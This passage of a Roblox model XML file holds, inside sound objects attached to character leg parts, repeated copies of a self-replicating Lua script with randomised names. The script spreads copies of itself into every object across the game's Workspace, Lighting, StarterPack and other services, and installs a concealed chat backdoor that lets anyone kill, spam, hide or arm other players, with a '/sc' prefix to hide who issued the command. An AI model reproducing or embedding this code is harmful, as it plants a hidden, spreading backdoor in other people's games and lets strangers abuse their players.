for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX418">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-21.5</X>
								<Y>8.5</Y>
								<Z>113.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Left Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX419">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">3ugg3rfs0</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX420">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">kuy1zr</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX421">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">119</int>
							<CoordinateFrame name="CFrame">
								<X>-22.5</X>
								<Y>8.5</Y>
								<Z>113.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Right Leg</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">3</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>2</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="StockSound" referent="RBX422">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">n4bs</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX423">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">pd87tmq</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
